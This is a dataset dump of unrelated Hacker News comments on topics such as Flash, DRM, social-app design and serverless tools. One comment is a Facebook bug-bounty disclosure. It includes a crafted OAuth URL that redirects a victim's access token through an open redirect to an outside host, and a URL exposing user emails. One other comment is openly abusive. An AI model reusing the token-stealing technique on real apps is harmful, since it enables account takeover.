skysight-inc/HackerNews huggingface dataset:
First world problems. This post was really disgusting.

"Oh, no, I have to look at pictures of bars...Manipulation!",
"Oh, no, they are offering me to tag myself on a picture - systemic oppression and manipulation!"
"Nooo... Fuck, now have to say 'You're welcome' "

Fuck this author. A spoiled, rich cunt complaining that someone will auto-play a video after a countdown on his newest iPhone.

... In the meantime, slaves in Africa are digging material from the ground for $1 or less per day, so that he can get his iPhone. Slaves in Asia making his clothing or assembling his devices. Domestic, desperate part-time slaves delivering his food (Postmates) or driving him (Uber/Lyft).
There are other ways. I'm a big fan of Eve Online's PLEX system. PLEX is an in-game item purchasable with real money which can be cashed in for one month of play time. It does a great job of linking the in-game economy with real money.

Basically, PLEX is Eve Online's equivalent of a gold-backed currency. There's something real behind the play money, even if it cannot be extracted once committed.
Audio recording: http://info.sjc.ox.ac.uk/scr/hacker/AudioRecordings.html
What bugs me is that Google gave itself a pass by white-listing YouTube - because it turns out some people still need Flash on YouTube. Google should dog-food their own policies.
Couldn't agree more with the looking back part.

It's a line of thought I frequently have when trying to think critically about many accepted practices in todays society.

It usually comes in the form of asking myself "Is this practice the kind society is going to laugh about in a 100 years?" or me imagining someone saying "Haha I can't believe this is what they did in 2016! Man were they dumb".

Most prominent non-tech example in these times for me is the meat industry.
First thought: I gotta get off all of these apps. I always knew they were messing with me, and now I know how!

Second thought: Our UX designer needs to read this ASAP... it's basically a "best practices" guide for making a social app that shows "traction".
...until you opt-in.
>DRM has never been important for online video workflow

Yes it has. Always.
I was thinking of unorthodox uses for the shebang, and realized cat gives you a very succinct quine.

Any other funny commands? ls -l is cool too.
The SmartPhone Who Loved Me: FinFisher Goes Mobile? (2012)
Monument Valley in Numbers: Year 2
For me at least, it still needs Flash in Firefox, this is what I see: http://i.imgur.com/VH8aOrl.jpg
The plan to move a Swedish town two miles to the east
If you can patent that, then I've got the solution to rubber necking. Who wants to invest? ~;)
How can one separate the inherent addictiveness of social approval (which we evolved to cope with) from the added addictiveness due to slot-machine rewards?

(Discrete measures of approval, like a count of Likes, add their own variance in addition to the inherent variability of how much people liked something. That discretization is a property of the digital system, and adds the variance of a binomial distribution.)

So when you say something IRL, you can gauge a lot of fine gradations of approval in the way people react. But online, where you get a small count of upvotes, the quantization adds variance and makes it more addictive.

The added variance is most significant at small sample sizes. People whose submissions get hundreds of votes might find the process less addictive than people whose submissions get a handful of votes.

Would HN be less addictive if the upvote process was more analog, somehow? Say, by adding up the duration people held down the mouse button for?
I don't think bash is involved here?
I do quite a few interviews and find that its easier to record exactly what was said mechanically because at another level, I'm also understanding and responding to it. This way, I keep a record of what happened for later without much thought to summarizing it at that time, and instead am able to take the conversation where i want it to. later, i look at the raw notes and re-visualize the conversation and THEN draw conclusions.

So yes, IMO, there's place for exact notes when you're both the scribe and active participant.
>It worked in Self checkout at grocery stores.

It's still too soon to say those self-checkout machines are a success. There are a few stores (Albertson's, Costco) that have eliminated them entirely, a few large retailers have scaled them back.

Mostly, the assumption was that ringing up items is easy enough for even untrained customers to do it, and that assumption has proved only partly correct. Every time (and I do mean every time) I've stood in line to use them, 1+ customers have needed assistance from a worker (alcohol, voiding an item, price discrepancy, item won't scan, can't find the picture, weird detection on the bag-side...).

Maybe when the generation that grew up with iPads becomes the eldest we'll see full self-checkout implementation, but for now the average customer is not equipped to effectively utilize the technology.
Not sure if that's wrong, but it seems that the program would crash if you call pop() on an empty Queue? I guess it never happens in this particular program, which I assume was the reason to squeeze even more performance.
Show HN: A simple distributable object-storage system in Go
Junk headline. The day after any building code change, all that came before could not be built again.

A better story would have been now past building codes shaped many NY icons. The Empire State Building's shape isn't some architectural masterpiece, it is a diagram of the building code at the time. It fills exactly as much space as was allowed.
>Look I hate Flash as much as the other guy, but blocking an extention just because a company doesn't like it.

It's their browser, they can do what they like.
Where Are the Robot Musicians? Computer Scientists Struggle to Program Daft Punk
Once you get beyond "just started" you'll see the value of these tools :-) The charm of Lambda is that it's easy to get rolling, but then the AWS complexity seeps in. This helps deal with a _lot_ of that in a pretty sane way.
Or perhaps it's more a matter of "if the government/public sector is going to get involved in a lot of things, they may as well be ones I can get behind".
The problem with this type of study is that it averages all Americans together. I haven't looked in details at the graphs, but let's assume they show that nothing has really changed in 30 years. What does it mean? Maybe all Americans have kept their diet the same, but maybe some people started making a lot of effort to eat better (the ones with the awareness, the will and the means to do so), while others started eating very un-healthy food.
However, as density increases, the supporting infrastructure also can get significantly more expensive to create. Case in point: NYC's Second Avenue subway line that's been in the works for somewhere between a century and a few decades, depending upon how you count, and will end up costing something like $20 billion.
And by music, we mean only the radio-friendly corporate pop and top 40 that used to have a stranglehold on music revenue.
1. It has been compiled with ASAN.
2. What you suggest would blow the memory footprint 16x.

Thanks for giving your infinite enlightenment, after looking at my code for 10 minutes. I guess your 10 minutes of reading the code is infinitely much more valuable than my 3 months work on it?

Get over yourself.
What's the point of API Gateway? Looks like a proxy where you recreate your api and does nothing more.
Biggest problem of tech disrupting the music industry is that it has completely devalued recorded music for several generations of people who typically were large paying consumers of music. No regulation will fix this and the long term effects of this will likely kill off a few genres that do not lend to current monetization strategies.
Because Google doesn't want to dog-food their own policy because it may impact their business. If it impacts others, who cares.
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The only problem I have with supporting EME is that it closes the market for new browsers to enter because they need to get certification. What incentive do the current market players have for allowing new browsers access to EME?
I very much agree with the principle of restricting and monitoring the access law enforcement has to communications.

In practice, I weep for a third party that has to read the dumb shit I chat about.

If we do succeed in building a hell where a preference for Metallica in 1997 is grounds for any sort of consequences at all, I'm not going to blame my past self for foolishly broadcasting that preference, I'm going to blame my current self for cowardly compliance with the hell machine.
Where did you get that crazy idea? There's no action at all in the US government and NASA to pursue such a plan, and they'd need to be starting this far ahead to actually do that. If you're talking about China, that's a possibility, but we're not China, I'm talking about the US here and how it's unable to accomplish such projects any more.
> Google don't actually know what to make the adhesive out of. The patent defines the properties it must have, but presumably no such adhesive exists or they'd know what to make it out of. So, the patent application seems invalid to me.

Yeah, it sounds more like an RFP than a patent app.

Why hasn't anyone patented near light speed transportation yet?
I don't use apex. I use serverless. but it's probably the same idea. All the work of transpiling, minifing, creating lambdas, api gateway, aws resources, stages etc... are done automatically from the command line. You don't need to compile/transpile your code, create a zip, upload to s3, create a lambda import the zip from s3, create the endpoint, connect to the lambda, create the api gateway template, etc... And do this every time you change something in your code. It gets frustrating really fast when doing it manually.
The Next Generation Warehouse with Big Data, Real-Time Tracking, IoT
> usage of raw pointers, unchecked pointer arithmetic, goto for flow control and raw new/delete calls

But without all that you would lose performance which seems to be the main goal of this project.
For Their Eyes Only: The Commercialization of Digital Spying (2013)
The lead hypothesis for Roman decline is disputed.

http://www.rsc.org/chemistryworld/2014/04/lead-pipes-pollute...

The demise of antibiotics is much overwrought. It won't happen, since researchers have basically solved the problem of cost-effectively finding an unlimited supply of new ones.

https://www.edge.org/response-detail/26701

In general people like seeing doom everywhere. To the extent this motivates some of them to do something about it, this is probably good. But it is very irritating when the doomsayers don't adjust their doomsaying based upon current scientific work.
It's always good PR to talk about doing things for the users. Then there's business.
because the market is dysfunctional, for many different reasons. did you read the original article? it describes some of that dysfunction.
The garbage return traffic scheme would only work if Verizon and every other ISP were completely asleep at the wheel. The public has enough trouble understanding the network neutrality debate without reading the headline that Netflix is intentionally wasting petabytes of backbone bandwidth every day.
I'd be interested in talking about the phone project in more detail... I'll even sign an NDA if the startup still exists, or just generally talk about Inferno. We have probably communicated on the Inferno list in the past, actually, but since neither of us have contact info in our profiles you can reach me at this disposable address for the initial contact:

alt.za-2othz2qa@yopmail.com
Actually, the Roman pipe store is a bit of an urban legend.

According to this PNAS [0] paper: "Lead pollution of “tap water” in Roman times is clearly measurable, but unlikely to have been truly harmful."

[0] http://www.pnas.org/content/111/18/6594.full
Very fun.

For those who are puzzled by the term "quine": http://meta.codegolf.stackexchange.com/questions/4877/what-c...
there you go, pulling us off our high horse.
workflow or delivery?
Leaving aside the ethical stuff what worries me most about EME is that it'll break my linux usage at as a desktop, with a few exceptions I currently have a web experience equal to (or better) than anything on Windows or MacOSX, binary blobs that may never make it to Linux are a concern.
Many urban building typologies are effectively illegal in nearly all of the country (but not Manhattan below 110th Street) due to parking minima, even in supposedly-unzoned Houston.

One of my great hopes for autonomous vehicles is that they will finally break the political logjam where existing neighborhood residents demand new housing/businesses in mostly parking-free neighborhoods require offstreet parking to preserve their own access to street parking. (And that bike lanes/pedestrian space/etc that require taking back some of the land that car owners usurped at midcentury become possible.)
This is a bit overly simplistic. There are lots of bad ways to develop software, and a few good ways. Placing yourself in a vacuum with "good people" who insist on starting from scratch without learning from the failures and successes of others who came before them is not one of the good ways.

For the record, neither is dogmatic adherence to a methodology, but that can be useful as a learning exercise.
No, please don't. I wouldn't have read it and despite him taking more than half of the length of the article to get to the point, I was really surprised at what he said.
Facebook Awards 1000$ for 2 minor bugs
Since last two month i started reading about security vulnerabilities and give a try on facebook.com and found two minor bugs.

BUG #1 STEALING OAUTH ACCESS TOKEN (500$)

Introduction:
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Facebook apps(including facebook internal apps) having redirect_url to wordpress comes under this attack.It was because of open redirection bug of wordpress sites

Steps:
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1. Facebook launched shemeansbusiness.fb.com (client_id=757713104362213).By Default redirect_url was https://staticxx.facebook.com/connect/xd_arbiter.php

2. App accept shemeansbusiness.fb.com domain in redirect_url and also fbshemeansbusiness.wordpress.com

3. So, I crafted a new url :

https://www.facebook.com/dialog/oauth?display=page&response_type=token&fbconnect=1&client_id=757713104362213&redirect_uri=https%3A%2F%2Ffbshemeansbusiness.wordpress.com%2Fremote-login.php%3Faction%3Dlogout%26back=https://google.sttor.com

Here Redirect Url is :

https%3A%2F%2Ffbshemeansbusiness.wordpress.com%2Fremote-login.php%3Faction%3Dlogout%26back=https://google.sttor.com

4. So If any person has pre authorized this app or use it first time using crafted url, the access token will be redirected to external websites(having google or wordpress keyword in domain)

5. Even techcrunch.com has open redirection and send access token to external websites

BUG #2: EMAIL DISCLOSURE of users who submitted link on shemeansbusiness.fb.com. (500$)

Like this url was disclosing user email
https://shemeansbusiness.fb.com/fbsmb_submission/lea-rafferty/

Both the bugs are patched immediately.Today facebook awards me total 1000$ for these two bugs
So you're being marginalized for your views which marginalize other people? (See Mozilla's ex-CEO case in which he donated money towards keeping LGBT people marginalized) Oh, the irony.
good stuff! added you to https://github.com/anaibol/awesome-serverless
Grub can actually handle booting from an encrypted ext4 root as well, no /boot needed. You do end up entering the password twice by default, but that can be dealt with by using a key file.

Lots of blog posts out there with instructions to convert existing installations, for example http://dustymabe.com/2015/07/06/encrypting-more-boot-joins-t...
> :P However, I welcome you to prove me wrong by creating the language to end all others.

Yes yes, I'll be sure to let you know. In the meantime, I hope you'll keep up the great work maintaining the status quo and contributing to a language which avoids problems that experienced programmers don't really have.

:P
You left off Bezos.
Disclaimer, I know the Bitquest guys.

> Don't get me wrong

I've found people occasionally say things like that right before they make a comment full of dissonance, such as "this is cool, but I'm concerned about X". When we try to simulate a new thing so completely we find all the flaws in it, we paralyze ourselves by creating dissonance that is unresolvable. With Bitcoin this happens frequently because money, or stored trust, is a common source of dissonance (i.e. who wants to lose money? Answer, nobody.)

Even thought it has historically had some rough beta testing periods, Bitquest has shown itself to be an extremely interesting concept to explore. It is a game and it's Open Source, so I would expect discussions to focus on the positive aspects of Bitcoin, not the negative ones. Recognizing dissonance in the conversations being had around a given technology and keeping the discussion going is where the cool stuff happens.

P.S. I take credit for the land ownership idea. :) I still think it needs a timer on it though.
>As the article says, this is a direct consequence of raising the minimum wage higher than the market rate.

And I consider it a resounding success for humanity. Automate everything, we will find work or find Basic Income if we need to. There is no reason we shouldn't push headlong into full automation. The fast-food order taker job is not worth saving.
> First, Congress should update the safe harbor rules of the copyright act to achieve the balance that was intended... That means strong, well-defined consequences for repeat offenders, easing the process for filing notices and ensuring that services are using the best technology to take pirated material off their sites and keep it off.

Is it really too difficult to file a DMCA claim? Especially since most content holders seem to use automated, mass report systems these days.

Also, I bet YouTube could get behind the "best technology" requirement, since it would likely make it impossible to make a user-uploaded-video site unless you already have the technology resources and content databases of someone like Google...
This is the most simplistic, binary thinking. Coke vs. Pepsi. There is more to the World than "Left vs. Right". Such as economic vs. Social. Authoritarian vs. Libertarian is another sliding scale axis and probably more relevant here.
>radio-friendly corporate pop and top 40

This also happens to be the most popular music in history, so I don't know that it's worth completely brushing off with angst.
> If the buildings will be built anyway, why have the rules in the first place?

Because the developers have to do something for the city to get the variance, like creating a privately owned public space.
That's planned, yes. (I have to do it anyway, because in most cases it's the print dialog that gives you the printer device cntext...) This is also why it's uiDrawContext, not uiAreaDrawContext.
Of course you have to send Google search queries. Of course it would be a whole lot more elegant on their part to have a simple SLA: "We use the search queries for the express purpose of answering your queries. We do not hold on your personal information for more than XX minutes, neither in personalized nor in aggregated form." It's not that hard, a 30 people organization can pull it off, https://duckduckgo.com/about.

Even better if there were a law that would require internet service providers to provide such a guarantee for people that want it. Make the tradeoff between a few bits of privacy and the benefits realistic, not "either you surrender your privacy, or live as an Amish".
This had nothing to do with privacy... I think you missed the point of the analogy?
Until there is a financial penalty for wrongful use of the DMCA this type of thing will continue.

They use robots to create reports (maybe not in this case) because for them there is simply zero downside.

That downside needs to exist.
This is eerily similar to the infamous "You made this?...I made this" comic.
Opportunity to name this batshit wasted.
DHL’s Tilt-Rotor ‘Parcelcopter’ Is Both Awesome and Actually Useful
If you're really interested in a serverless stack, check out https://github.com/anaibol/awesome-serverless
Two of the world's greatest shooters consider the four-point shot
In many keyboard layouts, this key is not an Alt modifier. It is, rather, level 3 shift (in ISO 9995 terminology) - a.k.a. "Option", a.k.a. "Alt Gr".
The not-rich kid’s guide to graduating from college with almost no debt
Can you remind me again about 1984? What happened then?
He is implying there is no economic benefit to the users, not for the app in general but for engaging with particular bits of offensive design. If a user actually sat down and consciously decided whether or not to take a particular action, they likely would have gone the other way. See autoplaying videos. You probably didn't want to watch that next video, but if Google/Netflix gets their way you'll do it anyway for any number of psychological reasons. But that next video was not something you wanted, potentially it's value to you is zero or negative because of opportunity cost. That won't stop you from watching it though, if they can manipulate you and distract you from making that decision consciously.
Parent comment was never a conservitive or Republican, they are just a Bernie supporter lying about being a former conservative in an attmpt to make their argument carry more legitimacy.
No, it shouldn't but it depends.

You need to find the right position for you, if possible find a company where support engineers have moved on to software engineering roles.

If you are rusty, you'll want a role that will give you the ability to develop the skills you're lacking to get a SWE role.

There are a lot of different things support engineers do and it will vary wildly between companies. A bulk in my experience are very weak on the engineering side, so it may help to join as an early support engineer on a team that will allow you to have some autonomy.

Edit:
Also consider how much time it will take you to become a SWE if you're working full time, versus how long it would take if you dedicated yourself to brushing up on skills and interview prep full time.
If it meets the guidelines, this might make a good "Show HN".

Show HN guidelines: https://news.ycombinator.com/showhn.html
> twiddling bits

This kind of phrasing implies that you aren't hearing what I'm saying. You're still picturing physical bits that can be twiddled. I'm not making an analogy to any physical bits at all, I'm not even making an analogy.

I'm talking about bits in the information-theoretic sense. If I can send a signal to a person and as a result that person can do better than random at picking an intended symbol out of a set of symbols, then bits of information were conveyed.

If the person can do the same thing at a later point in time, then bits of information were also stored.

No analogies are required, this is literally the definition of "information" and "bits" since 1948.
Car has an accident and catches fire - what happens to the pedestrian glued to the bonnet then?
I am in England right now and have just looked out of the window. It is quite windy.
No, China isn't even remotely comparable. Just a few decades ago, it was a mostly agrarian economy. They've had massive industrialization in a very short time, but they don't the much longer-term culture of industrialization and social programs and worker protections etc. that western nations have.

And how exactly is Switzerland "selfish"? They may not be part of the EU, but they appear to have just as many social safety nets as any other western European nation. This seems like a rather silly charge to me.
Newest cars are only lighter when compared to recent history. Cars of 1960's were much much lighter than today.

(big-family-sized Cortina DeLuxe of 1962 was 787 kg, present-day supermini Fiesta starts at 1041 kg).